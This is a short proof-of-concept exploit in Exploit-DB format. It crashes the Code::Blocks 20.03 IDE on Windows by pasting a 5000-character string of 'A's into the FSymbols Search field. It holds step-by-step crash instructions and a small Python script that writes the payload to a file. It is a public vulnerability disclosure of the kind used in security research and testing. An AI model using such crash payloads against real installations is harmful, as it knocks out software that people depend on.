# Exploit Title: Code Blocks 20.03 - Denial Of Service (PoC) # Vendor Homepage: http://www.codeblocks.org/ # Software Link Download: https://sourceforge.net/projects/codeblocks/files/Binaries/20.03/Windows/codeblocks-20.03-setup.exe/download # Exploit Author: Paras Bhatia # Discovery Date: 2020-06-23 # Vulnerable Software: Code Blocks # Version: 20.03 # Vulnerability Type: Denial of Service (DoS) # Tested on: Windows 7 Ultimate Service Pack 1 (32 bit - English) #Steps to Produce the Crash: # 1.- Run python code: CodeBlocksCrash.py # 2.- Copy content to clipboard # 3.- Open "codeblocks.exe" # 4.- In the "Management" section on left hand side, Click on "FSymbols" tab. # 5.- Select "Active project's symbols" from drop down "View:" menu. # 6.- Paste ClipBoard into the "Search:" field. # 7.- Press Enter from keyboard. # 8.- Crashed. ################################################################################################################################################## #Python "CodeBlocksCrash.py" Code: f= open("CodeBlocksCrash.txt", "w") payload="\x41" * 5000 f.write(payload) f.close()